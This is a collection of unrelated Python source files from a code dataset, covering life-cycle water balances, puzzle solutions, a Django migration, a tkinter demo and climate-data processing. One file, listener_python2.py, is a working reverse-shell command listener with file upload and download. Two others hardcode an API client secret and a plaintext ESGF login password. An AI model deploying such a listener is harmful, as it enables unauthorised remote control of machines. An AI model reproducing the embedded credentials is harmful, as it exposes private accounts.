+{"seq_id":"498260318","text":"# -*- coding: utf-8 -*-\nimport utils, os, pyprind, MasterData, numpy, pandas\nimport spold2_reader as spold2\nfrom copy import copy\ndef find_water_property(exc, MD):\n    if hasattr(exc, 'properties_dict') and 'water in wet mass' in exc.properties_dict:\n        w = exc.properties_dict['water in wet mass'].amount\n    else:\n        if 'Environment' in exc.group:\n            try:\n                sel = utils.series_to_dataframe(\n                    MD['ElementaryExchanges prop.'].loc[(exc.name, exc.compartment, exc.subcompartment)])\n            except KeyError:\n                sel = []\n        else:\n            try:\n                sel = utils.series_to_dataframe(MD['IntermediateExchanges prop.'].loc[exc.name])\n            except KeyError:\n                sel = []\n        if len(sel):\n            try:\n                w = sel.loc['water in wet mass', 'amount']\n            except KeyError:\n                w = 0.\n        else:\n            w = 0.\n    return w\nversion = '3.4'\nsystem_model = 'Undefined'\nMD = MasterData.get_current_MD()\nMD['ElementaryExchanges prop.'] = MD['ElementaryExchanges prop.'].set_index(\n        ['name', 'compartment', 'subcompartment', 'propertyName']).sortlevel(level=0)\nMD['IntermediateExchanges prop.'] = MD['IntermediateExchanges prop.'].set_index(\n        ['name', 'propertyName']).sortlevel(level=0)\nfolder = utils.version_system_model_path(version, system_model)\nees = [('Water', 'air', 'unspecified'), \n       ('Water', 'air', 'non-urban air or from high stacks'), \n       ('Water', 'air', 'urban air close to ground'), \n       ('Water', 'air', 'lower stratosphere + upper troposphere'), \n       ('Water, cooling, unspecified natural origin', 'natural resource', 'in water'), \n       ('Water, salt, sole', 'natural resource', 'in water'), \n       ('Water, unspecified natural origin', 'natural resource', 'in water'), \n       ('Water, salt, ocean', 'natural resource', 'in water'), \n       ('Water, well, in ground', 'natural resource', 'in water'), \n       ('Water, river', 'natural resource', 'in water'), \n       ('Water, lake', 'natural resource', 'in water'), \n       ('Water, turbine use, unspecified natural origin', 'natural resource', 'in water'), \n       ('Water', 'water', 'unspecified'), \n       ('Water', 'water', 'ocean'), \n       ('Water', 'water', 'surface water'), \n       ('Water', 'water', 'ground-'), \n       ]\nwaters_from_technosphere = ['heavy water', 'tap water', \n    'water, completely softened, from decarbonised water, at user', \n    'water, decarbonised, at user', \n    'water, deionised, from tap water, at user', \n    'water, harvested from rainwater', \n    'water, ultrapure', \n    'irrigation', \n    ]\ndataset_folder = os.path.join(folder, 'datasets')\nfilelist = utils.pkl_load(os.path.join(folder, 'pkl'), 'ao')\nfilelist = filelist[filelist['specialActivityType'] == 'ordinary transforming activity']\nfilelist = set(filelist['filename'])\nd = []\nfor filename in pyprind.prog_bar(filelist):\n    f = spold2.Dataset(dataset_folder, filename, allow_pkl_read = False, refresh_pkl = True)\n    df = []\n    for exc in f.iterate_exchanges():\n        to_add = exc.baseline(['By-product classification'])\n        to_add['water content property'] = find_water_property(exc, MD)\n        if exc.group == 'ByProduct' and to_add['By-product classification'] == 'Waste':\n            to_add['classification'] = 'waste byproduct'\n            to_add['direction'] = -1\n        elif exc.group == 'ReferenceProduct' and exc.amount < 0.:\n            to_add['classification'] = 'waste treatment reference product'\n            to_add['direction'] = 1\n        elif exc.group in ['ReferenceProduct', 'ByProduct']:\n            to_add['classification'] = 'non waste to technosphere'\n            to_add['direction'] = -1\n        elif exc.name in waters_from_technosphere:\n            to_add['classification'] = 'water bought'\n            to_add['direction'] = 1\n        elif exc.group == 'FromTechnosphere':\n            to_add['classification'] = 'other technosphere inputs'\n            to_add['direction'] = 1\n        elif (exc.name, exc.compartment, exc.subcompartment) in ees:\n            if exc.group == 'FromEnvironment':\n                to_add['classification'] = 'water from environment'\n                to_add['direction'] = 1\n            else:\n                to_add['classification'] = 'water to environment'\n                to_add['direction'] = -1\n        elif exc.group == 'FromEnvironment':\n            to_add['classification'] = 'other exchange from environment'\n            to_add['direction'] = 1\n        elif exc.group == 'ToEnvironment':\n            to_add['classification'] = 'other exchange to environment'\n            to_add['direction'] = -1\n        else:\n            1/0\n        df.append(to_add)\n    df = utils.list_to_df(df)\n    df['water in exchange'] = df['amount'] * df['water content property'] * df['direction']\n    df = pandas.pivot_table(df, values = 'water in exchange', index = ['classification'], aggfunc = numpy.sum).to_dict()\n    df.update(f.baseline())\n    d.append(df)\ndf = utils.list_to_df(d)\ndf = utils.replace_empty_in_df(df, 0.)\nclassifications = set(['waste byproduct', 'waste treatment reference product', \n    'non waste to technosphere', 'water bought', 'other technosphere inputs', \n    'water from environment', 'water to environment', 'other exchange from environment', \n    'other exchange to environment'])\nIN = [\n    'water bought', 'other technosphere inputs', \n    'water from environment', 'other exchange from environment', \n    'waste treatment reference product', \n    ]\nOUT = list(classifications.difference(set(IN)))\ndf['total IN'] = df[IN].sum(axis = 1)\ndf['total OUT'] = df[OUT].sum(axis = 1)\ndf['balance'] = df['total IN'] + df['total OUT']\ndf['abs(balance/IN)'] = abs(df['balance'] / df['total IN'])\ndf['abs(balance/OUT)'] = abs(df['balance'] / df['total OUT'])\ncolumns = ['activityName', 'geography', 'reference product']\ncolumns.extend(IN)\ncolumns.extend(OUT)\ncolumns.extend(['total IN', 'total OUT', 'balance', 'abs(balance/IN)', 'abs(balance/OUT)'])\ndfs = [(df, 'Sheet1', columns)]\nfilename = 'UPR_water_balance_{}_{}.xlsx'.format(version, system_model)\nread_me = [['classification', 'name', 'compartment', 'subcompartment']]\nread_me.extend([['water bought', name, '', ''] for name in waters_from_technosphere])\nread_me.extend([['water from/to environment', name, compartment, subcompartment] for name, compartment, subcompartment in ees])\nutils.dataframe_to_excel(os.path.join(folder, 'excel'), filename, dfs, feedback = True, read_me = read_me)","sub_path":"projects/short_scripts/tereza_water_balance_UPR.py","file_name":"tereza_water_balance_UPR.py","file_ext":"py","file_size_in_byte":6555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"489684465","text":"import sys\n\ndef print_age(x):\n    if 0 <= x <= 2: s = \"Still in Mama's arms\"\n    elif 2 < x <= 4: s = \"Preschool Maniac\"\n    elif 4 < x <= 11: s = \"Elementary school\"\n    elif 11 < x <= 14: s = \"Middle school\"\n    elif 14 < x <= 18: s = \"High school\"\n    elif 18 < x <= 22: s = \"College\"\n    elif 22 < x <= 65: s = \"Working for the man\"\n    elif 65 < x <= 100: s = \"The Golden Years\"\n    else: s = \"This program is for humans\"\n    print(s)\n\nwith open(sys.argv[1], \"r\") as f:\n    _ = list(map(print_age, [int(x.rstrip(\"\\n\")) for x in f]))","sub_path":"Easy/age_distribution.py","file_name":"age_distribution.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"316512210","text":"from itertools import permutations\n\nfrom intcode import Intcode\n\nwith open('input') as f:\n\n    memory = [int(x) for x in f.readline().split(',')]\n\n    max_boost = 0\n    for phases in permutations(range(0, 5)):\n\n        boost = 0\n        for phase in phases:\n\n            amplifier = Intcode(memory)\n\n            amplifier.send(phase)\n            amplifier.send(boost)\n\n            boost = amplifier.receive()\n\n            if boost > max_boost:\n                max_boost = boost\n\n    print(max_boost)\n","sub_path":"day-07/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"2176877","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='perfil',\n            fields=[\n                ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n                ('nick', models.CharField(blank=True, max_length=50, null=True)),\n                ('direccion', models.CharField(blank=True, max_length=50, null=True)),\n                ('direccionNumero', models.IntegerField(default=0)),\n                ('fechaNacimiento', models.DateField(blank=True, null=True)),\n                ('usuario', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n            ],\n        ),\n    ]\n","sub_path":"tusubasta/login/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"216708988","text":"def solution(strs, t):\n    l = len(t)\n    dp = [20001 for _ in range(l+1)]\n    l_strs = [len(s) for s in strs]\n    len_strs = len(strs)\n    dp[0] = 0\n    for i in range(l):\n        for j in range(5):\n            if j > i:\n                continue\n            if t[i-j:i+1] in strs:\n                dp[i+1] = min(dp[i+1], dp[i-j] + 1)\n    answer = dp[l]\n    if answer > 20000:\n        answer = -1\n    return answer\n\nprint(solution([\"ba\",\"na\",\"n\",\"a\"], 'banana'))\nprint(solution([\"app\",\"ap\",\"p\",\"l\",\"e\",\"ple\",\"pp\"], 'apple'))\nprint(solution([\"ba\",\"an\",\"nan\",\"ban\",\"n\"], 'banana'))","sub_path":"Algorithm/kakao_blind_coding_test/Demo_test/Problem7.py","file_name":"Problem7.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"282275556","text":"#Problem 1: Flood fill\n#time compplexity: O(V+E), edges and vertices\n#Space Complexity O(n) (call stack)\n\n\n#RECUSRIVE SOLUTION\n'''\nidea: We just go through all the nodes (r,c) that I can go too from a starting point. Before calling\nthe other recursive function, we make sure that the next color is in fact like the starting color.\nDFS traversal seems appropriate since we don't need to keep track of the generations (but could be done in BFS).\nWe don't forget the case where starting color is the same as newColor, so nothing is changed\n'''\n#Do we actually need 4 while loops for the iterative solution or there's a bette way?\nclass Solution:\n    def floodFill(self, image: List[List[int]], sr: int, sc: int, newColor: int) -> List[List[int]]:\n        if not image:\n            return image\n        n=len(image)\n        m=len(image[0])\n        dirs=[[0,1],[1,0],[-1,0],[0,-1]]\n        starting_color=image[sr][sc]\n        if starting_color==newColor:\n            return image\n        def helper(i,j):\n            nonlocal n,m,dirs,newColor,starting_color\n            if image[i][j]==starting_color:\n                image[i][j]=newColor\n            print(starting_color)\n            for d in dirs:\n                new_i,new_j=i+d[0],j+d[1]\n                if 0<=new_i<n and 0<=new_j<m and image[new_i][new_j]==starting_color:\n                    helper(new_i,new_j)\n        helper(sr,sc)\n        return image\n\n#Problem 2: 01 matrix\n#time complexity: O(n) n number of elements in matrix\n#Space complexity: O(n), queue\n\n'''\nidea: BFS from EACH point that is not 0. the distance is the generation we're at.\nWe put a new element in queue if it's present value is bigger than the generation we're\nat (basically to avoid re-using a cell that we've updated already). We start by transforming\nthe ones to float(\"inf\"). Meaning they weren't updated. We could use a different value\nto give the \"not visited\" tag, but to avoid colisions, float('inf') is a safe choice. Since\nwe go generation by generation, we know that if it's been visited, it means it has the\ncorrect value (can't be higher)\n'''\n\nclass Solution:\n    def updateMatrix(self, matrix: List[List[int]]) -> List[List[int]]:\n        #edge case:\n        if not matrix:\n            return matrix\n        n=len(matrix)\n        m=len(matrix[0])\n        q=collections.deque()\n        dirs=[[0,1],[1,0],[-1,0],[0,-1]]\n        for r in range(n):\n            for c in range(m):\n                if matrix[r][c]==0:\n                    q.append((r,c))\n                else:\n                    matrix[r][c]=float(\"inf\")\n        distance=0\n        while q:\n            size=len(q)\n            count=0\n            distance+=1\n            while q and count<size:\n                count+=1\n                r,c=q.popleft()\n                for d in dirs:\n                    new_r,new_c=r+d[0],c+d[1]\n                    if 0<=new_r<n and 0<=new_c<m:\n                        if matrix[new_r][new_c]>distance:\n                            matrix[new_r][new_c]=distance\n                            q.append((new_r,new_c))\n        return matrix\n","sub_path":"dfs-1.py","file_name":"dfs-1.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"465997866","text":"# -*- coding: utf-8 -*-\n# © Max Solutions, Co. All rights reserved.\nimport sys\nimport base64\nimport uuid\nimport platform\n\nsys.path.insert(0, 'innov')\nimport innov\n\n\ndef get_innov():\n    return innov.configure({\n        'mode': 'sandbox',  # sandbox or live\n        'client_id': 'MchnpOAnR3tanm4DAdFJxyZkdiY5MHlKS.ymwfiyBTjgD.HUD_k5Pf6Lf1cT0Jci',\n        'client_secret': 'Lswkus9FhETS7i-gJrUFFPv5lnFSJ-F3pB8ArK93dA74cLOvPfglZKJxIi9hl-44QbbqnsotLHSFk.F73gL-i3W0a5SqdivWXkUB76Yi9GaV6t7lNqsne2B6o4Mgl52b'\n    })\n\n\ndef is_base64(s):\n    try:\n        s = s.encode()\n        return base64.b64encode(base64.b64decode(s)) == s\n    except Exception:\n        return False\n\n\ndef is_uuid(s):\n    s = str(s).lower()\n    try:\n\n        uuid_obj = uuid.UUID(s, version=4)\n    except Exception:\n        return False\n    return str(uuid_obj) == s\n\n\ndef response_keys(response):\n    for key in ['Message', 'Payload', 'Success']:\n        assert key in list(response.keys())\n\n\ndef open_file(path, base64encode=False):\n    if platform.python_version()[:3] == '2.7':\n        _file = open(path, \"r\")\n        content = str(_file.read())\n    elif platform.python_version()[:3] in ['3.5','3.0','3.7']:\n        _file = open(path, \"r\",encoding='latin-1')\n        content = _file.read().encode()\n    if base64encode:\n        return base64.b64encode(content).decode()\n    return content\n","sub_path":"tests/commun.py","file_name":"commun.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"371423548","text":"import socket, json, base64, shlex, threading,os\r\nclass Listener:\r\n    def __init__(self,ip,port):\r\n        listener = socket.socket()\r\n        listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) # give value 1 for enable this option\r\n        listener.bind((ip,port))\r\n        listener.listen(0) # usually max 5 and min 0\r\n        print(\"[+] Waiting incoming connection\")\r\n        self.conn, self.address = listener.accept() \r\n        print(\"[+] got a connection from \" + str(self.address))\r\n    def reliable_send(self,data):\r\n        json_data = json.dumps(data)\r\n        self.conn.send(json_data)\r\n    def reliable_recv(self):\r\n        json_data = \"\"\r\n        recv_data = self.conn.recv(1024)\r\n        while True:\r\n            try:\r\n                json_data = json_data + recv_data\r\n                return json.loads(json_data)\r\n            except ValueError:\r\n                continue\r\n    def execute_remotely(self,command):\r\n        self.reliable_send(command)\r\n        if command[0] == \"exit\":\r\n            self.conn.close()\r\n            os._exit(1)\r\n    \r\n        return self.reliable_recv()\r\n    def download(self,path,content_file):\t\r\n        with open(path,\"wb\") as File:\r\n            File.write(content_file)\r\n        return \"[+] Downloading succesfull\"\r\n    def upload(self,path):\r\n        with open(path,\"rb\") as File:\r\n            return [\"upload\", path, base64.b64encode(File.read())]\r\n    def start(self):\r\n        while True:\r\n        \r\n            command = raw_input(\">> \")\r\n            # shlex membuat command yang berisi \"\" tdk ikut di split\r\n            command = shlex.split(command)\r\n            try:\r\n                if command[0] == \"upload\":\r\n                    command = self.upload(command[1])\r\n                \r\n                result = self.execute_remotely(command)\r\n                if command[0] == \"download\" and \"[-] Error\" not in result:\r\n                    content_file = base64.b64decode(result)\r\n                    result = self.download(command[1],content_file)\r\n            except Exception as e:\r\n                result = \"[-] Error during command execute \" + str(e)\r\n            print(result)\r\nlistener = Listener(\"192.168.1.5\",4444)\r\nlistener.start()\r\n","sub_path":"listener_python2.py","file_name":"listener_python2.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"56998019","text":"# gui01.py\n# Python GUI --> tkinter, wxPython,PyQt\n# 위젯 (Button,Label,Entry,,,,)\nfrom tkinter import *\n\ndef btn1Click():\n    text1.insert(0,text1.get()+\"님 어서오세요!    \")\n\nwindow = Tk()\n#################\nlabel1  = Label(window,text=\"이 름\")\nlabel1.grid(row=0,column=0)\n#label1.pack()\n\ntext1 = Entry(window)\ntext1.grid(row=0,column=1)\n#text1.pack()\n\nbutton1 = Button(window, bg=\"yellow\",text=\"입 력\",command=btn1Click)\n#button1[\"fg\"] = \"yellow\"\n#button1[\"bg\"] = \"red\"\nbutton1.grid(row=1,column=1)\n#button1.pack()\n\n#################\nwindow.mainloop()  # 이거하면 계속 떠있음\n\n","sub_path":"5day/gui01.py","file_name":"gui01.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"498288001","text":"import csv\nimport sqlite3\nimport shutil\nimport datetime\nimport logging\n\n\n\n'''This looks throug the coding csv file, and for each (BUDGET) category, looks for items (payees) which are on the db. From there it assigns them that particular code'''\n\n\ndef logger():\n    \"\"\"A tool for logging events in the program to alter the log reporting change the level: logging.INFO, logging.DEBUG, logging.ERROR\"\"\"\n    logging.basicConfig(filename='./app.log', filemode='a', format='%(asctime)s - %(levelname)s - %(message)s', datefmt='%H:%M:%S', level=logging.ERROR)\n    logging.debug('code_entries: running module assign_code_to_db_entries')\n\n\ndef backup():\n        logging.debug('code_entries: running module assign_code_to_db_entries.backup')\n        try:\n                todays_date = datetime.datetime.now().strftime('%H%M%S.%d-%m-%y')\n                shutil.copy('mydata.sqlite3',f'./archive/{todays_date}.backup.mydata.sqlite3')\n        except FileNotFoundError:\n                logging.error(f'code_entries: Could not find the database or the archive folder to backup the database')\n\n\ndef coder():\n        logging.debug('code_entries: running module assign_code_to_db_entries.coder')\n        try:\n                conn = sqlite3.connect('mydata.sqlite3')\n                c = conn.cursor()\n                with open ('./configuration/coding.csv') as csvfile:\n                        logging.debug('code_entries: Checking configuration file \"coding.csv\"')\n                        csv_reader = csv.reader(csvfile, delimiter=',')\n                        for row in csv_reader:\n                                label = row[0]\n                                for item in row:\n                                        if len(item) != 0:\n                                                data = (label, item)\n                                                c.execute('UPDATE bankdata SET CODE = ? WHERE payee LIKE ? AND code IS NULL AND edited IS NULL', (data))\n                conn.commit()\n                conn.close()\n        except FileNotFoundError:\n                logging.error(f'code_entries: Could not find the path or file \"/configuration/coding.csv')\n\n\nif __name__ == \"__main__\":\n        logger()\n        backup()\n        coder()\n        \n","sub_path":"autocode_database.py","file_name":"autocode_database.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"408141837","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 26 2017\n@author: westonanderson\n\nRead in a variable from the dataportal, take the mean across the runs for each model,\nand save the object for later use\n\n\n\"\"\"\nimport netcdf4_pydap\nfrom pydap.client import open_url\nfrom pydap.cas.get_cookies import setup_session\nimport time as timer\nimport numpy as np\nfrom matplotlib import pyplot as plt\nstart = timer.clock()\n\n#login credentials for the AMIP data\nopenid = 'https://pcmdi.llnl.gov/esgf-idp/openid/weston'\npassword = 'aMLD7WxAgj!'\nuserName = 'Weston'\ncredentials={'username':userName, 'password' : password, 'authentication_url' : esgf._uri(openid)}\n\n#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>##<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#\n#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>##<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#\npath = 'local' #remote or local\nvarFileName= 'KDD' #name to save the var under\nvarname = 'tasmax'\n\n#The parameters for each model needed to access the OPENDAP URL\nmodels = ['GFDL-CM3']#'CSIRO-Mk3-6-0','IPSL-CM5A-LR','CCSM4']\nmodelRuns = {'CCSM4':[2,3,4,5],'CSIRO-Mk3-6-0':[1,2,3,4,5,6,7,8,9,10],'GFDL-CM3':[1,2,3,4,5],'IPSL-CM5A-LR':[1,2,3,4,5]}\n# define the critical temperature from Schlenker and Roberts, 2009 (PNAS) and Tai et al., Nature and Licker et al (2010)\n\n#2,3,4,5,7\n#define the mismatch between an ENSO year and a regular year\n# To make this the same, define ensoYrSt-0\nensoYrSt = 4 #python indexing\n\nfor ccCrop in ccCrops:\n    for model in models:\n        print(model)\n        for run in modelRuns[model]:\n            modelTime = {'CCSM4':1979,'CSIRO-Mk3-6-0':1979,'GFDL-CM3':1979,'IPSL-CM5A-LR':1979} #need to define this here because it can be altered in the script later\n            #<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>##<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#\n            #<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>##<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#\n            local_ccPath = '/Volumes/Data_Archive/Data/CropCalendar/Sacks/AMIP/'+model+'/'+model+'.'+ccCrop+'.crop.calendar.fill.nc'\n            remote_ccPath = '/home/weston/Data/CropCalendar/Sacks/AMIP/'+model+'/'+model+'.'+ccCrop+'.crop.calendar.fill.nc'\n                  \n            localSave = '/Volumes/Data_Archive/Results/globalCorrelatedRisks/IntegratedVars'+varTrnd+'/preHarvest/AMIP/'\n            remoteSave = '/home/weston/Results/globalCorrelatedRisks/IntegratedVars'+varTrnd+'/preHarvest/AMIP/'       \n            #<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>##<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#\n            \n            loads = {\n            'GFDL-CM3':['http://nomads.gfdl.noaa.gov:9192/opendap/CMIP5/output1/NOAA-GFDL/GFDL-CM3/amip/day/atmos/day/r'+str(run)+'i1p1/v20110601/tasmax/tasmax_day_GFDL-CM3_amip_r'+str(run)+'i1p1_19790101-19831231.nc',\n                         'http://nomads.gfdl.noaa.gov:9192/opendap/CMIP5/output1/NOAA-GFDL/GFDL-CM3/amip/day/atmos/day/r'+str(run)+'i1p1/v20110601/tasmax/tasmax_day_GFDL-CM3_amip_r'+str(run)+'i1p1_19840101-19881231.nc',\n                         'http://nomads.gfdl.noaa.gov:9192/opendap/CMIP5/output1/NOAA-GFDL/GFDL-CM3/amip/day/atmos/day/r'+str(run)+'i1p1/v20110601/tasmax/tasmax_day_GFDL-CM3_amip_r'+str(run)+'i1p1_19890101-19931231.nc',\n                         'http://nomads.gfdl.noaa.gov:9192/opendap/CMIP5/output1/NOAA-GFDL/GFDL-CM3/amip/day/atmos/day/r'+str(run)+'i1p1/v20110601/tasmax/tasmax_day_GFDL-CM3_amip_r'+str(run)+'i1p1_19940101-19981231.nc',\n                         'http://nomads.gfdl.noaa.gov:9192/opendap/CMIP5/output1/NOAA-GFDL/GFDL-CM3/amip/day/atmos/day/r'+str(run)+'i1p1/v20110601/tasmax/tasmax_day_GFDL-CM3_amip_r'+str(run)+'i1p1_19990101-20031231.nc',\n                         'http://nomads.gfdl.noaa.gov:9192/opendap/CMIP5/output1/NOAA-GFDL/GFDL-CM3/amip/day/atmos/day/r'+str(run)+'i1p1/v20110601/tasmax/tasmax_day_GFDL-CM3_amip_r'+str(run)+'i1p1_20040101-20081231.nc'],\n            'CSIRO-Mk3-6-0':['https://aims3.llnl.gov/thredds/dodsC/cmip5_css02_data/cmip5/output1/CSIRO-QCCCE/CSIRO-Mk3-6-0/amip/day/atmos/day/r'+str(run)+'i1p1/tasmax/1/tasmax_day_CSIRO-Mk3-6-0_amip_r'+str(run)+'i1p1_19790101-19981231.nc',\n                             'https://aims3.llnl.gov/thredds/dodsC/cmip5_css02_data/cmip5/output1/CSIRO-QCCCE/CSIRO-Mk3-6-0/amip/day/atmos/day/r'+str(run)+'i1p1/tasmax/1/tasmax_day_CSIRO-Mk3-6-0_amip_r'+str(run)+'i1p1_19990101-20091231.nc'],\n            'CCSM4': ['https://aims3.llnl.gov/thredds/dodsC/cmip5_css02_data/cmip5/output1/NCAR/CCSM4/amip/day/atmos/day/r'+str(run)+'i1p1/tasmax/1/tasmax_day_CCSM4_amip_r'+str(run)+'i1p1_19790101-20101231.nc'],\n            'IPSL-CM5A-LR': ['https://aims3.llnl.gov/thredds/dodsC/cmip5_css01_data/cmip5/output1/IPSL/IPSL-CM5A-LR/amip/day/atmos/day/r'+str(run)+'i1p1/v20110427/tasmax/tasmax_day_IPSL-CM5A-LR_amip_r'+str(run)+'i1p1_19790101-20091231.nc']\n                 }\n            if path == 'local':\n                save = localSave\n                ccPath = local_ccPath\n            else:\n                save = remoteSave  \n                ccPath = remote_ccPath\n                \n            cropSave = cropSaves[ccCrop]\n        \n            #<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>##<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#<>#\n            #load in the crop calendar data\n            ccFile = netCDF4.Dataset(ccPath)\n            ccHar = ccFile.variables['harvest'][:]\n            lons = ccFile.variables['longitude'][:]\n            ccHar = np.append(ccHar[:,lons>=180],ccHar[:,lons<180],axis=1)\n            #convert to months\n            jDays=np.array([0,31,59,90,120,151,181,212,243,273,304,334,365])           \n            jDaysLeap=np.array([0,31,60,91,121,152,182,213,244,274,305,335,366])\n\n            ccHar[ccHar<jDays[ensoYrSt+1]]=ccHar[ccHar<jDays[ensoYrSt+1]]+365\n            ccHar_st = ccHar - daysPriorToHar \n            ccHar_end = ccHar\n            \n            #find non-nan rows and cols    \n            rows = np.where(~np.isnan(ccHar))[0]    \n            cols = np.where(~np.isnan(ccHar))[1]      \n            locs = zip(rows,cols)\n            \n            #Load in the AMIP data\n            if (model=='CCSM4')&(run==7):\n                loads[model] = ['https://aims3.llnl.gov/thredds/dodsC/cmip5_css02_data/cmip5/output1/NCAR/CCSM4/amip/day/atmos/day/r7i1p1/tasmax/1/tasmax_day_CCSM4_amip_r7i1p1_19790101-20051231.nc',\n                                'https://aims3.llnl.gov/thredds/dodsC/cmip5_css02_data/cmip5/output1/NCAR/CCSM4/amip/day/atmos/day/r7i1p1/tasmax/1/tasmax_day_CCSM4_amip_r7i1p1_20060101-20081231.nc']\n            if model != 'GFDL-CM3':\n                endYr = int(loads[model][0][-11:-7])\n                with netcdf4_pydap.Dataset(loads[model][0],**credentials) as dataset:          \n                    vLon = dataset.variables['lon'][:]\n                    vLat = dataset.variables['lat'][:] \n                    varSpace = dataset.variables[varname]\n            else:\n                dataset = netCDF4.Dataset(loads[model][0])\n                yr = int(loads[model][0][-20:-16])\n                endYr = int(loads[model][0][-11:-7])\n                yrs = np.array([0,1,2,3,4]) + yr\n                leapDay = (yrs[np.in1d(yrs,leapYears)]-yr)*365+59                \n                varSpace = np.delete(dataset.variables[varname][:],leapDay,0)\n                vLon = dataset.variables['lon'][:]\n                vLat = dataset.variables['lat'][:]            \n                for load in loads[model][1:]:\n                    dataset = netCDF4.Dataset(load)\n                    endYr = int(load[-11:-7])\n                    yr = int(loads[model][0][-20:-16])\n                    yrs = np.array([0,1,2,3,4]) + yr\n                    leapDay = (yrs[np.in1d(yrs,leapYears)]-yr)*365+59\n                    varSpace = np.append(varSpace,np.delete(dataset.variables[varname][:],leapDay,0),0)                        \n\n            #Create the NetCDF dataset\n            ncdfVar = netCDF4.Dataset(str(save+varFileName+'_'+model+'r'+str(run)+'i1p1_'+cropSave+'.nc'),'w',format='NETCDF4')\n            #create dimensions                            \n            time = ncdfVar.createDimension('time',None)\n            lon = ncdfVar.createDimension('lon',np.size(vLon))\n            lat = ncdfVar.createDimension('lat',np.size(vLat))\n            #create variables\n            year = ncdfVar.createVariable('year','i4',('time',))\n            latitude = ncdfVar.createVariable('latitude','f4',('lat'))\n            longitude = ncdfVar.createVariable('longitude','f4',('lon'))\n            ncVar = ncdfVar.createVariable(varFileName,'f4',('time','lat','lon'),fill_value=0.0)\n            #fill variables lat/lon\n            ncdfVar.variables['latitude'][:]=vLat\n            ncdfVar.variables['longitude'][:]=vLon\n            ncdfVar.variables['year'][:]=years[:]  \n  \n          \n            var = np.zeros([years.size,varSpace.shape[1],varSpace.shape[2]])*np.nan\n            leapDays = 0 ; iL=0\n            for i in range(0,years.size):\n                year = years[i]\n                print(year)\n                if year == endYr:\n                    iL += 1\n                    varSpaceYr_lst = np.copy(varSpaceYr[365:,...]) #save the last year\n                    modelTime[model] = endYr\n                    dayIndex = (year-modelTime[model])*365\n                    with netcdf4_pydap.Dataset(loads[model][iL],**credentials) as dataset:\n                        varSpace = dataset.variables[varname]\n                        endYr = int(loads[model][iL][-11:-7])\n                    varSpaceYr = np.append(varSpaceYr_lst,varSpace[0:365,...],axis=0)\n                else:\n                    dayIndex = (year-modelTime[model])*365\n                    varSpaceYr = varSpace[dayIndex:(dayIndex+730),...]\n                #convert maxT to KDD\n                varSpaceYr[varSpaceYr<Tcrit[ccCrop]]=0 #limit the data to the temperatures above Tcrit  \n                varSpaceYr[varSpaceYr>=Tcrit[ccCrop]]=varSpaceYr[varSpaceYr>=Tcrit[ccCrop]]-Tcrit[ccCrop] #convert to degrees above Tcrit               \n                for loc in locs:\n                    var[i,loc[0],loc[1]]= np.nansum(\n                                        varSpaceYr[(ccHar_st[loc]):(ccHar_end[loc]),loc[0],loc[1]]\n                                        ,axis=0)\n            var[var<0]=0 #can't have less than 0 KDD\n            ncdfVar.variables[varFileName][:]= var[:,...] #testData\n            ncdfVar.close()\n            del ncdfVar\n       \nelapsed = (timer.clock() - start)\nprint(elapsed)","sub_path":"AMIP/var and ensemble creation.py","file_name":"var and ensemble creation.py","file_ext":"py","file_size_in_byte":10444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
